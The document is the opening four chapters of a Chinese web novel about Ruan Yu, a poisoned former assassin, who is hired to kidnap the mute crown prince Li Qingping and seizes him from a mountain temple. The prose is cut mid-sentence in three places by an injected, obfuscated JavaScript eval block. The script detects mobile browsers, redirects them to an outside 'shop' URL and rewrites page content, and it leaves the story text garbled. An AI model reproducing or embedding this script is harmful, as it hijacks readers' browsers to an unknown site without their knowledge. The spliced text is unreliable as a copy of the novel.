《劫走哑巴太子后》 1. 阮玉 晨光熹微,大雪纷飞。 阴沉沉的天幕下,一座矮小茅庐艰难攀附在陡峭的山壁间,摇摇欲坠。 寒风肆虐,天地白茫茫一片,唯有一抹漆黑人影浮浮沉沉,蹒跚于紧邻悬崖的逼仄小径上。 积雪及膝,那人拖着沉重的双腿涉雪而过,身形佝偻,一步一停,缓慢向茅庐靠近。 待来到屋前,他已气喘吁吁,手脚发软,几乎不能支撑。 可回头看了眼来时的路,他还是咽下喉间腥甜,强撑着敲响了那扇紧闭的破旧木门。 山风凌厉,撕扯着男子身上的衣袍。他拼尽全力维持,才未在风中倒下。 数息的功夫后,吱呀一声轻响,屋门打开了一拃宽的缝隙。 屋内昏暗,衬得夹在门缝间的半张脸格外白。可那样白皙的脸颊上,却蹭了一抹浓重的红。 ……瞧着是血。 男子正怔忡,听得对方问他:“何事?” 略微沙哑的青涩声线,像春日河水化冻时,带着冰碴的水流声。 于是他默默移开视线,努力站稳身子,拱手道:“鄙人手中有一笔生意,报酬丰厚,非阁下不能为。故来相请。” 门后那人的目光落在他的手指上,片刻后淡淡道:“进来吧。” “……多谢。” 小心地跟随那人迈入屋中,一关门,风雪与光亮皆被隔绝在外,带着一丝微妙香气的热风扑面而来,眼前伸手不见五指。 男子顿住脚步,正想出声,便见桌边有暖色的烛火点燃,屋中的景象逐渐清晰起来。 本已经做好了瞧见遍地混乱,满屋血腥的准备,可与预想中不同,四下里的陈设简朴而整洁,不见分毫污秽,炉子上还滚了壶热水。 开门的那人背对着他站在桌边,只着一件单薄的宽大白袍,身形纤瘦,乌发厚重,赤足踩在地上。 见他半天不动,那人转头看来,上下扫了他一眼,示意他:“坐。” 男子回过神,缓步上前落座。 就着烛光,他才看清,对方是个年纪不大的姑娘,皮肤很白,眼睛黑亮,即便不笑时,颊边也有浅浅的梨涡。 似是察觉到他的目光,那姑娘斟茶的手一顿,抬眸向他看来。 二人的目光在空中撞上,男子莫名赧然,侧过脸看向了别处。 却听对方问他:“雪路难行,为何偏偏今日上山?” 男子闻言,重新迎上那姑娘的目光,斟酌了一下言辞,答道:“鄙人昨日便已上山,借居于问云寺中……想着今日大雪,阁下不会外出,因而冒雪前来叨扰。” “是么?” “……是。” “可我听闻,昨日太子进山祈福,问云寺已被官兵封锁……你是太子的什么人?” “我……” 男子话音一滞,搭在桌边的手指一点点蜷起,没有出声。 见他不答,那姑娘也不难为他。将一杯冒着热气的茶水递到他面前后,她又问道:“谁告诉你我在此处?” 水雾氤氲,清淡的皂角香气混着茶香弥漫在鼻尖。男子答道:“……日月楼,陆水。” “那你也该知晓,我的酬金不菲。” “嗯。” “好。” 原以为接下来就该谈正事了,可不曾想,那被称作阮玉的姑娘话锋一转,接着问道:“你手上那枚带竹纹的青玉扳指,可以卖给我吗?” “……” 男子并未料到她会问这个,迟疑着看向自己的手指。 虽不解名扬天下的日月楼首席,为何要买一枚成色并不算顶级的扳指。但他还是将扳指脱下,置于手中递了过去:“阁下若是喜欢,此物便赠与阁下,当做鄙人的见面礼。” 对方闻言长睫微颤,目光轻飘飘地从他脸上掠过,又落在他掌心。 随后,她伸手,冰凉的指尖擦着他掌心的软肉,拈走了那枚扳指,轻声道:“多谢。” 男子下意识地蜷缩手指,握住那阵酥麻,将其收回袖中。 动作间带起了风,屋中一时烛影招摇。 而阮玉看了看那枚扳指,慢吞吞地穿在了自己的拇指上。 因为二人体型不同,那扳指对她而言大了些,但她并未在意,只感受着扳指上残余的温热,开口道:“说吧,你想要我做什么?” 面前的男子整个人裹在漆黑厚重的披风下,脸上也带着漆黑厚重的面具,阮玉只能看见那张面具下的眼睛。 ……瞧着没有过于浓重的恨意,应该不是为了寻仇。 正琢磨着,男子开口了。 他道:“我想要你将太子劫走,带到虔州去。” 阮玉心中一动:“太子?” “嗯。” 尽管方才就猜到,此人是太子身边的人,此番前来多半是为了太子。但阮玉只猜他想要她保护太子,却未想过,他要她劫走太子。 难怪他说,此事非她不能为。 确实非她不能为。 只是可惜,他需要的是昨日的她,而非今日的她。 ……今日的她,怕是要让他失望。 犹豫片刻,阮玉提醒男子:“劫走太子并非易事,江湖规矩,千金起步。” 对方语出惊人:“我出万金。” 原想用高价将其劝退,不想其如此坚定,阮玉倒是意外。 既如此坚定,那她便也却之不恭了。 阮玉摸着手上的扳指,眯眼细想了一下,开口道:“从问云山南下虔州,途中车马食宿费共计一千七百两白银。为避免阁下言而无信,我需要再拿一趟返程的钱,共三千四百两,阁下要先付给我。” 对方依旧财大气粗:“我给你一万两。” 说着,他从怀中摸出一叠银票,双手递上。 阮玉垂眸看了眼,没接,示意道:“放下吧。” “好。” 男子将银票放下,又细心地用空杯子压在上面。 阮玉看着他动作,在他再次抬眸望来时开口道:“这桩生意我接下了。你走吧。” “……好。” 瞧见男子被问身份时紧张生涩的反应开始,阮玉就知道,他是第一次接触这种事情。 因为按照规矩,雇主的身份不能询问。 ……太子身边的人,第一次……便要劫掠太子。 这种生意,阮玉原本是不会接的。因为雇主不知分寸,极易惹出祸端。 可眼下,她没有过多的选择。 她需要钱。 正想着,男子已经站起身来,朝她拱手:“此事有劳阁下费心,告辞。” 他比阮玉高出不少,阮玉稍稍抬头,便能看见他面具边缘露出的一截下颌,紧绷瘦削,肤色苍白。 她嗯了一声,从门边拿了支手杖递给他:“路滑,慢走。” 男子看了眼手杖上已经磨到光滑的把柄,下意识地推辞:“不必,我……” “拿着。” 阮玉打断他的话,边开门边道:“已经用不到了,你拿走吧。” 外面天已大亮,一线冰冷的白从门缝中透入,裹挟着鹅毛大雪的寒风随之灌进屋中,将桌上的烛火扑了个踉跄。 不等男子反应过来她话中的意思,她又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375433|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“请。” 男子没再坚持,低低道了声谢,便带上手杖,扶着门框离开了。 而阮玉关上门,原地静站片刻,转头望向了屋里阴影处那片半掩的床帐。 拉开床帐,榻上之人双目紧闭,毫无声息,再不会如平日一般劈手将床帐扯上,忿忿地骂她胡闹,让她莫要吵他睡觉。 阮玉面色平静,目光在那张惨白的脸上停留片刻,又看了看他已经裹上白布的脖颈。 明知他已不会回应,可鬼使神差地,她还是唤道:“师兄。” 其实他并不是她的师兄,毕竟他长她二十岁,又未曾与她同入师门。 但她一直这么唤他。 因为他不是阮玉的师兄,他是比师兄待她更好的人。 阮玉出生那年遭父母遗弃,丢于山林中,是师兄孤身一人,靠着一柄剑,冒险将她从十几头野狼口中救回。 师兄废了一条腿,断了一条手臂,血肉模糊地跪在师父面前,求师父收养她。 师父收养了阮玉,而师兄再不能习武,也不愿当累赘,因此退出师门,下山离开,没了音讯。 许是不想阮玉愧疚,师门中一直无人提起此事。直至五年前师父过世,临走时将一切过往和盘托出,阮玉才知晓这份大恩。 安葬师父后,她也下了山,四处打听,费尽周折,终于找到了师兄。 师兄在问云山深处搭了间茅屋,平日里靠给问云寺的师父们打杂为生,日子还算平静。 见到阮玉,他瞧着并不高兴,拄着手杖细细打量她一番,又皱起了眉头。 他嫌弃道:“我可没有钱养活你。” 阮玉道:“我可以养活你。” 师兄拒绝:“我有手有脚,不需要你养活,你走吧。” 阮玉道:“可你的手脚只有一半。” 师兄勃然大怒,拎起手杖便要打她。 十二岁的阮玉转头下山,随后接了人生中第一份悬赏,杀了一个无故杖毙奴仆的富公子。 那人对阮玉毫无防备,临死时紧紧攥着阮玉的胳膊,嗓子里发出破碎嘶哑的声音:“你骗我……杂种……不得好死……” 阮玉哆嗦着手掰开他的指头,胡乱地抹掉自己脸上的血,扯下他腰上的玉佩去领钱。 发悬赏的人是那死去奴仆的家人。见阮玉还是个孩子,他便只给她一半的酬金。 阮玉沉默着点点头,在其递钱过来时,一刀将其手掌钉在桌上,另一只手中的刀抵上了那人的脖子。 于是她拿到了双倍的酬金。 带着双倍的酬金,她在山下买了一筐吃的用的,背着筐上了山。 趁着师兄不在,阮玉撬锁进门,将那筐东西和未花完的酬金一起留下,自己转头又下了山。 如此重复几次后,她再撬锁进门时,被师兄逮了个正着。 师兄坐在桌边,阮玉背着筐站在门边,手里握着撬开的锁,二人四目相对。 阮玉赧然,正想道歉,却听师兄问她:“为何非要缠着我?” 思忖片刻后,阮玉反问他:“为何非要救我?” 师兄不答,看了她一会,最后抬手往墙边一指:“自己做一张床,到那里睡。我白日要去寺里做活,家中不许有血腥之物,剑也不许带进门来。夜里子时前宵禁,次日卯时前起……你笑什么?都记下了吗?” 阮玉赶紧收了表情,解下背上的剑,翻出袖中的刀,一起丢出门去。 她绕回来,绷着脸点头:“记下了。” 师兄瞥她一眼,继续道:“除去方才那些,还有一件事,你也务必要记牢。” 2. 问云寺 师兄说的那件事是,不许杀好人。 阮玉问:“哪种人算是好人?” 师兄皱着眉想了一会,最后摆了摆仅有的左手:“罢了,无论你杀谁,不要告诉我,不要让我知道,好吗?” 阮玉点点头。 师兄又道:“你叫什么名字?” “阮玉,”阮玉绞紧手指,小心道,“师父说,这是师兄给我的名字。” 师父给阮玉讲过,师兄认为金玉乃是世间最最珍贵之物,金有价,玉无价,而且师父姓阮,阮金听着别扭,于是便给阮玉取名为阮玉了。 可师兄却凶她:“我早已退出师门,并非你的师兄,莫要胡说。” “……好。” 看她唯唯诺诺的模样,师兄又缓和了语气,眯眼想了想,开口道:“明日随我下山裁身衣服去,瞧瞧你,穿的什么东西。” 阮玉低头看了看自己洗到发白的蓝色粗布衣裙,一截捡来的红衣带,和那双补了又补,还大了一号的布鞋,脸有些发烫。 于是次日,阮玉拥有了一件嫩黄色的坦领窄袖小衫,雾蓝齐腰长裙,崭新的鲜艳红衣带,袖口与裙边都绣了洁白的小碎花,好看极了。 可惜不太方便做正事。 所以再次下山时,阮玉抱着那套衣裙满屋子转了好几圈,最后还是换上了之前的旧衣裳。 然而等她回来,她又拥有了一件简单精干的黑色劲装。 ……只是这两套衣裳,阮玉都没有穿很久,因为她长得太快了。 第一年睡师兄给她做的床,床头床尾还有大片空余,到第三年的时候,她已经快要将床睡满了。 师兄看了直摇头:“不能再长了,做这一行,个头大不是好事。” 阮玉默默停下了往嘴里扒饭的手。 也不知是不是师兄这句话起了作用,阮玉的个头,从此停留在了那一年。 合适的个头,敏捷的身手,过人的力量,还有至精至纯的内力。靠着近乎完美的天分,阮玉杀出问云山,被江湖中最大的刺客联盟日月楼选中,收归麾下。 次年年初,阮玉在盟会大比中力压众位通天榜高手,一举拔得头筹,从此声名远扬。 同样在这一年冬日,她身中剧毒内力全失,沦落为一个只会花拳绣腿的废物。 下毒之人,正是与她朝夕相伴的师兄。 那毒毒性极强,毒发时身上每一处经脉都似被绞断碾碎,轧成血泥,几乎痛不欲生。阮玉跌伏在地拼命挣扎,几番昏厥又痛醒,神志恍惚,浑浑噩噩。 朦胧中。她似乎感觉到有人在抚摸她的头发,听到有人一遍遍哭着向她道歉,说对不住她。 她想要抓住那人的手,可剧烈的痛苦抽去了她所有的力气,让她只能徒劳地颤抖。 最后木门吱呀了一声,冷风短暂灌入,屋中只剩下了她一个人的粗重喘息。 等阮玉缓过神来,跌撞着冲出去时,师兄的身体已经埋进了雪里。 ……其实他不死,她也不会怪他。 她的命本就是师兄救下的,便是师兄开口要她死,她也会毫不犹豫地去死。 可他没有给她说出这句话的机会。 阮玉拼尽全力将师兄拖回来,对着他空坐了一夜。 身体很痛,每一寸都在痛,痛到她想就地追随师兄而去,好摆脱这场醒不来的噩梦。 然而她没有。 因为阮玉不信师兄会害她,她不信师兄如此狠心。她知道他一定遇到了天大的难处,才会连一个问清楚缘由的机会都不给她,便匆匆离去。 她不能让他白白死去。 于是阮玉打起精神,抹了把眼泪,盛了水烧热,为师兄擦洗身体,整理仪容。 只是她行事向来只有前手没有后手,只管杀不管埋,这种事情还是第一次做,未免笨拙。 正手忙脚乱间,屋门被敲响了。 来人正是那位黑衣男子。 他带来的酬金确实可观,可附带的任务,也令阮玉心下踌躇,左右为难。 一来,日月楼难进也难出,如今她不能再为其效力,便要向楼主赎身,赎身金千两黄金起步,只多不少。 二来,她这些年树敌颇多,想要躲避他们的追杀,便要大量购买情报,情报同样价值不菲。 最后,最重要的是,她想要查清师兄给她下毒的真相。 此间种种行动,亦少不得金银周转。 阮玉需要那笔巨额酬金,可依照她如今的实力,又很难在重重戒备下将太子劫出。 一番纠结后,她还是决定铤而走险,豪赌一把。 能成自是最好,不能成,那便算作追随师兄,也不失为一种圆满。 这么想着,阮玉将手上的扳指取下,戴到了师兄手上。 师兄喜欢青竹,这扳指他定会喜欢。 只可惜他活着的时候,总嫌阮玉的钱不干净,从不接受阮玉给他的贵重赠礼。 他说带着那些东西进寺庙,会被神佛惩罚。 可阮玉知道,他不是嫌她的钱脏,他是担心她。 他担心她整日刀尖舔血,不能自保,又不忍阻止她在天赋异禀处越攀越高。 所以他别扭地将担忧表达成嫌弃,想要她主动从高处走下来。 阮玉什么都知道,她唯一不知道的是,究竟是怎样的难处,让师兄宁可去死,也要对她下这般狠手。 心中混乱,她垂眸看向师兄的手。那手饱经沧桑,枯瘦如柴,满是老茧,断比不得方才那男子的手纤长细腻,将普普通通的青玉戴得莹润如水。 原本,师兄也能过上那样衣食无忧的日子,也能将手养得那样好看。 他却不愿。 他常年与庙里的师父们打交道,总听师父们说杀业难消。所以他总害怕阮玉遭到业报,所以他总在以自己的方式,忙忙碌碌地为她洗刷罪孽。 ……如今好了,忙碌半天,她还是背上了一道至死都不能消解的罪孽。 看了一会,阮玉将那只手护进自己掌心,俯下身去,贴在自己颊边。 眼泪已经流干,恨与痛都消解在了漫漫长夜中,只剩下心底的那团火,越燃越旺。 阮玉暗暗想,只要她还活一日,她便一定要找到那逼死师兄的凶手,将其剥皮抽筋,刀锯鼎镬,挫骨扬灰,使其求生不得,求死不能,在恐惧与痛苦中度过余生。 她不在乎什么业报,业报于她而言,不过一句没有用的空话。 若这世间真有业报,那真正该死的,另有其人。 毕竟她只是一把足够的锋利的剑,受执剑之人驱使。她听着他们的恩怨情仇,为他们无法释怀的心病做一个了结。 只是而今她不再锋利,那心病也终于落在了她自己身上。 …… 雪停时已是午后,阮玉穿好衣裳,出门挖坑。 没有内力护体,对寒冷的感知格外强烈。她冻得双手发麻时,不由想到,这便是师兄的冬日吗? 他便是在如此严寒中,穿过七八里险峻的山路,到寺里浣衣劈柴,清扫庭院吗? 难怪他每日回来,都是一副累极了的模样。 心里想着,手上的动作却不停。阮玉挖好尺寸差不多的坑,又将师兄用竹席裹好,包上被褥,拖出门来,放进坑里。 将泥土回填前,她还是没忍住,最后一次翻开层层叠叠的包裹,看了看那张熟悉的脸。 师兄这一生少有亲友,二十岁退出师门后,便只与寺里的师父们打交道,后来有了阮玉,才算有了一点牵绊。 阮玉不知道他的真实名字,师门中的众人也不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375434|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他们都唤他惊蛰,因为师父捡到他的那日,正是惊蛰。 那时候他六岁。 阮玉有好多次问起他,他叫什么名字。可师兄拎着手杖便要揍她,口中念叨什么“长辈名讳”“冒犯”一类的话,将她赶出了屋子。 她只能作罢。 如今要为师兄写碑文时,阮玉才后悔,为何当初不能再坚持一下。 这下好了,写什么呢? 阮玉师兄之墓? 如此未免太过冒昧,师兄怕是会生气。 师兄惊蛰之墓? 可师兄不喜欢惊蛰这个名字。 那便写师兄之墓? 天底下的师兄多了去,不写清楚,哪日有孤魂野鬼强占了师兄的地盘怎么办?他那个人性子软弱,怕是只会唯唯诺诺地避让。 思来想去,阮玉还是在碑文上写了阮玉师兄之墓。 生气就生气吧,生气说不准能多来梦里骂她两句。 砍来木板写好碑文,阮玉铆足了力气将其插进土里,怕被风吹倒,还坐上去压了压。 坐完想起不礼貌,她又赶紧跪下,给师兄磕了个头:“无意冒犯……师兄,你先忍忍,等我下次回来,一定给你重建陵墓,建在山顶,建问云寺那么大……供问云寺那么旺的香火。” 一阵风从身侧吹过,卷起地上的浮雪,扑了阮玉一脸。 有冰凉的雪花顺着衣襟流进了脖子里,阮玉冻得一哆嗦,战战兢兢地起身:“为何不要?我偏要修。” 也不等师兄再回应,她便拎起靠在墙边的剑,溜回了屋中。 五年来,这是阮玉第一次将剑带入室内。 剑上全是师兄的血,她把它摆放在桌上,用湿透的帕子细细擦洗了一遍。 洗完插回剑鞘,阮玉将其背在背上,又将两柄短刀藏入袖中,最后在腰间挂好暗器袋,带好蒙汗药与些许可能用到的简单工具,便锁门出发了。 平日里可以轻轻松松往返山上山下好几趟,可如今才走了四五里地,她便累得不行,蹲在山道上歇了会。 背靠山崖,眼前是不见底的深渊,对面是另一座山的山头。冷风不要命一般地吹,吹得山路上的雪直往脸上扑,一阵又一阵,眼睛都睁不开。 阮玉怀疑是师兄想赶她回去,于是又来了劲,起身继续往前走。 平日里这座山上是有野兽的,可今日下了雪,它们暂且不会出来。 如此,阮玉便不必将力气耗在对付野兽上。 她深感庆幸。 因为刚到寺庙附近,她就一步也走不动了。 昨日太子上山祈福,又遇上下雪,一时半会应该走不了。阮玉担心被巡视的禁卫发现,于是找了个僻静处蹲着,缓了缓神。 等休息好,她才继续往前。 凭借自己行刺多年的经验,阮玉敏捷地避开几处耳目,又熟练地爬上寺庙围墙外的树,顺着树摸进了寺庙中。 尽管在问云山上生活了将近五年,可问云寺,阮玉还是头一回来。 因为师兄不让。 他说阮玉进寺庙,就像贼寇进县衙,上赶着自投罗网。 每每此时,阮玉都觉得自己像个无恶不作的大魔头。 但其实不是。 自打师兄说不能杀好人后,她便会依照自己的标准辨别好人。 她从不接目标是好人的生意,只接雇主是好人的生意,所以她一直很穷。 毕竟好人都没什么钱,抠抠搜搜的。 有时候遇上丧尽天良的雇主,她也会反杀雇主。 只是被楼主逮到罚了一笔巨款且全盟会公告批判后,阮玉便没再那么做过了。 思及此处,不免心中忿忿,阮玉正想感慨一下,忽地见不远处的佛堂中,有一群人簇拥着一个华衣男子走了出来。 3. 李清平 当朝太子李清平,一个美貌却鲜少露面的哑巴。 这是日月楼中一位前辈说过的话。 当初听了这句话,阮玉还专程溜进宫里看过李清平。 可惜未能如愿。 因为太子宫中的侍卫实在多到令人咋舌。 回去后阮玉和那位前辈抱怨,前辈嘿嘿一笑:“近来气运不好吧?我去的时候,可是真真切切地瞧见了那位殿下。” 阮玉实在好奇,追问道:“好看吗?白净吗?真如传闻中一般美貌吗?” “好看好看,那叫一个雨后嫩竹,出水芙蓉,比阿岳还要水灵。” 阿岳姓虞,是日月楼中月楼主的心肝。月楼以刺探情报为营生,阿岳是月楼主出任务时,从烟花之地买回来的淸倌儿。 他长得确实水灵,整个人白嫩细腻,娇俏柔弱,就是脾气大了些,动不动就骂人废物,自己却整日里什么都不做,只跟在月楼主身后当摆设。 月楼的同伴们说他像一苗大蒜,背地里都唤他蒜头。 但骂归骂,对于阿岳的美貌,众人还是认可的。 阮玉也认可。 所以她断定,那哑巴太子一定丑不了。 只是眼下情形紧急,阮玉也顾不得细看他长什么模样,只瞟了个大概,而后迅速隐匿了身形。 没了内功,也没办法用轻功。好在阮玉身形小,反应快,靠着东躲西藏,还是成功凑到了太子近前。 扫了眼他身边的护卫与宫人,她凭借经验判断了一番,感觉机会渺茫。 没有过多纠结,阮玉立刻拉开距离,不远不近地跟着他们,打算另寻时机。 如今的她没有内力,唯一的优势便是速度快,身法好。可这两样优势在开阔处并不好使,需等到崎岖处,抑或人少时,才能有奇效。 而且她只有一次机会,一次不成,对方必然会加紧防备,届时便是昨日的她来,也没有多少把握。 这么想着,心里不免紧张。阮玉停下稳了稳神,才继续跟上去。 就在此时,她发现太子身边的一位宫人捂着肚子停下脚步,与一个护卫统领模样的人说了几句话,而后脱离了队伍,往另一个方向离开了。 阮玉没有任何犹豫,果断改变方向,跟上了那个宫人。 那宫人应是闹肚子,走得着急忙慌,全然没有注意到身后的阮玉。 她前脚刚进茅厕,阮玉便一个手刀将她劈晕了过去。 默默扒了那宫人的衣裳换上,照着那宫人的脸简单易了个容,又将那宫人拖到角落里绑起来藏好,阮玉一路返回,成功混进了队伍中。 二十四个护卫,七位宫人,若是硬刚,阮玉占不到什么好处。 她一面想着对策,一面多看了几眼走在前面的太子。 织金长袍,银狐披风,身形颀长,仪态端正,金冠束得一丝不苟,朱缨垂顺,光瞧背影,已经称得上赏心悦目了。 想来传闻不假。 可惜不会说话。 说来也奇怪,不会说话,怎么还能做太子呢? 将来继承皇位,上朝时捧一叠纸,想对官员们说什么便写什么吗? 那官员们眼神不好,岂不是会误大事? ……正胡思乱想,一行人已经来到了一间禅房前。 那护卫统领将太子身边的护卫分开,一半留在禅房前,一半去往禅房后,而后吩咐八位宫人全部跟随太子进入禅房。 可太子并未理会他们,自顾自地进了禅房,将门关了个严实。 阮玉瞥了眼那位护卫统领,见他的脸黑一阵红一阵,险些笑出声来。 太子不许进门,众人只能齐齐在门外等候。等了约莫两刻钟后,那统领指了个宫人道:“你进去,守着殿下。” 那宫人一愣,脸唰地一下白了,两只手直往身后背:“我……殿下近来……不行……” “进去!” “不……不行……” 被太子当众难堪本就丢人,眼下又被一个宫人拒绝,那统领愈发来气:“废物,滚进去!殿下若是有个好歹,当心你的脑袋!” 那宫人闻言睁大了眼睛,扑通一声跪下,双手直抖,腿也抖,连连道:“将军行行好,奴婢……奴婢实在……” 周围的其他宫人们也各个眼观鼻鼻观心,似乎生怕自己被点到一般。 虽不知道侍候太子为何令他们如此避之不及,但这般情形对阮玉而言,却是个难得的好机会。 她不需要知道他如何难侍候,她只需要一个近他身的机会。 于是阮玉主动站出来,装出一副怯懦却又大义凛然的模样,颤着手行礼,而后道:“将军,我去吧。” 此言一出,四下里的宫人护卫们全都向阮玉看了过来。 有那么一瞬,她险些以为自己暴露了,暗暗捏住了袖中短刀的刀柄。 好在并没有。 那统领瞥了阮玉一眼,又瞥了地上已经开始流泪的宫人一眼,心烦意乱地一摆手:“行行行,你去便你去……快去。” 阮玉哆哆嗦嗦地应了一声,佝偻着腰上前,站在门口深呼吸,随后推门而入。 本以为会看见什么妖魔鬼怪一类的东西,然而并没有。 她只看见有人背对着她站在桌子上,正往屋梁上栓衣带。 听见声音,那人也没回头,自顾自地继续着手上的动作。 阮玉仰脖看了眼那根房梁,镇定地将门关上,而后站在门口看他忙碌。 屋内光线昏暗,空洞寂寥,只有桌子被踩得吱呀作响。过了好一会,桌上那人才停下动作,转身向她看来。 四目相对,他似是不解般微微蹙眉,缓缓蹲下身,抬手指向了门。 阮玉的目光在他脸上流连片刻,摇摇头,拒绝道:“不行,出去我会挨骂。” 对方的眉头皱得更紧,纤长的羽睫下压,将那双清澈透亮的桃花眼掩去大半,眼尾洇晕着薄薄的水红,衬得脸颊愈发白皙。 见阮玉不肯走,他重新抬眸看来,张了张唇,无声地说了两个字:“过来。” 阮玉上前一步,又停下,小心道:“殿下有何吩咐?” 太子抬头看了看屋梁,又看了看阮玉,最后将手里的衣带拿给她看。 阮玉会意:“我帮殿下挂上去吗?” 对方颔首。 阮玉在屋里扫了一圈,答应下来:“好。殿下先下来好吗?桌子不够高,我要垫椅子上去。” 不知是本就没报什么希望,还是真的相信了阮玉的话,太子没有任何犹豫,便从桌上下来了。 趁他下来的功夫,阮玉从腰间拔出一根两指长的细铁棍,将门反锁了起来。 此时二人之间隔着三四步的距离,四下里也没有任何遮挡。 于是她若无其事地走上前,弯下腰搬椅子。 如此将后背对着太子,太子自不会防备她,只站在一旁看她忙活。 阮玉从容地将凳子放上桌子,一面假装试探是否稳当,一面摸出袖中短刀迅速转身,一把攥住太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375435|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手腕反扭在他背后,用刀抵上了他的脖子。 此番行动纯属临时起意,并非早有预谋。因此不止太子没反应过来,阮玉自己也没有反应过来。 她不知道太子会不会武功,本想做得再稳妥些,等太子主动愿意与她身体接触时再下手的。 可方才那一瞬,她确确实实地嗅到了机会来临的味道。 行刺多年未曾失手,全靠阮玉的果断。她知道机会来临与危险来临,皆是一瞬之间,犹豫便会败北。 此番亦然。 太子不会说话,阮玉自不必担心他会发出声音。她将他压在桌上,用他手里的那根衣带把他的手绑起来,又将他按坐在椅子上,用刀抵着他的咽喉问道:“李清平,是吗?” 对方垂眸看向她拿刀的手,看了一会,似是有些失落,很轻地点了点头。 阮玉也顺着他的视线看了眼自己的手,而后道:“我无意伤你,只想带你离开此处。你乖顺些,我保你无碍,好吗?” 李清平抿紧了唇,鸦色长睫耷拉下来,摇了摇头。 如此动作时,不知是有意还是无意,他没有躲她的刀,使得刀刃擦着他的脖颈掠过,留下了一道细细的红痕。 幸而阮玉及时收手,才没有让他伤得更重。 见李清平这般模样,阮玉记起方才他还想轻生,根本不会在意她的威胁,于是放弃了与他废话。 她把他的脚绑在椅子上,而后撩起裙摆,从腿上解下剑来,认真道:“等我一会,我很快回来。” 李清平神色恹恹地看她一眼,别开了目光。 阮玉并未在意,将剑背在身后,拔出那根铁棍攥在手里,而后开门。 见她出来,之前的小统领立刻上前,开口问道:“殿下如何?” 阮玉反手关好门,左右看看,故意压低声音道:“方才非要自缢,劝了许久才好……许是累了,说想喝甜粥。” 那人听完,赶紧吆喝手下:“快去,吩咐膳房备甜粥。” 见那人离开,阮玉又道:“还有,屋中太冷了,添些炭火吧。” 那人又赶紧吩咐另一个随从:“照她说的做。” ……二十二个侍卫,七个宫人。 其实依旧没有太大把握,但胜在他们不会防备阮玉。 只要在这些人反应过来情况不对前,将其中瞧着难对付的侍卫处理掉,胜算便会翻个几番。 阮玉摸进暗器袋,拈了一把毒针。 …… 重新回到屋中,阮玉拍了拍衣摆的灰,看向还在安静等她的人。 她拉他起来,出去抢了匹马,把他往马背上一丢,带着他闯出问云寺,径直回了住处。 寺庙中的其他马已经被阮玉下了药,各个瘫软在地,官兵们只能步行追踪。 而今日风大,不等他们追来,路上的马蹄印便会被雪掩盖。 加之小屋隐蔽,沿途岔路繁多,还有条将近一里长的,仅供一人通行的羊肠小道,待官兵们找到小屋,她早该下山了。 阮玉自认为十拿九稳。 她将李清平带回小屋,把他绑到自己的床上,而后去炉子边烧水。 沿路颠簸,李清平又像条麻袋一般搭在马背上,自是吃了不少苦头。 他原本整洁金贵的衣袍上沾了灰,发冠也有些歪斜,脸色比之前更白,眉头紧皱着。 阮玉回头看向他时,正见他也在看她。 二人对视片刻,阮玉开口道:“怎么?伤口痛吗?要帮忙吗?” 4. 自以为是 李清平并未理会阮玉。他面无表情地移开目光,偏过头看向了紧闭的窗户。 阮玉也看向那扇窗户,想了想,拒绝道:“不行,今日风大,开窗会冷。” 李清平依旧没有理会她,连个眼神都没有给她。 阮玉倒不在意,将手指伸进陶罐里试了试水温,约摸着差不多,便将其倒进盆中,打湿帕子,拿去给李清平擦脸。 她惯来没什么耐心,动作也算不得温柔。李清平被她捏着下巴擦脸,眉头皱成了一团。 等阮玉转去擦他脖子的时候,他才短暂地收起了满脸的不耐,瑟缩着躲她的动作。 阮玉啧了一声,提膝上床,把他堵在角落里胡乱地擦完,不满道:“娇气。” 李清平绷紧了脸上的皮肉,垂眸看向自己的腿,一声没吭。 而阮玉去柜子里拿了药和干净的布条,再次爬上床,跪坐在他面前,给他处理脖子上的伤口。 李清平并未抗拒,目光在她手上打了个转,缓缓闭上了眼睛,倚在墙边。 门窗紧闭,屋中光线昏暗,阮玉看不清楚伤口的位置,只能膝行两步,凑得更近了些。 有生以来头一回和师兄以外的活的男人挨这么近,阮玉多少感觉有些新奇。 她拧开装药膏的盒子,挖了一块药膏出来,一面给李清平的伤口擦药,一面抬眸看了眼他的表情。 李清平依旧双目紧闭,蹙着眉,睫毛微微颤抖,瞧不出疼还是不疼。 阮玉默默收回目光,又往下看了眼。 这个距离,这个角度,她能清清楚楚闻到李清平衣襟里透出的淡香,云一样飘飘渺渺的,微微带些清苦。 为了避免让自己看起来像个饥渴的登徒子,阮玉稍稍往后撤了撤,轻咳一声,提醒道:“若有不适,便说出来。” 说完想起来他不能说话,她又改口道:“你可以比划给我看,我聪明得很,我能明白。” 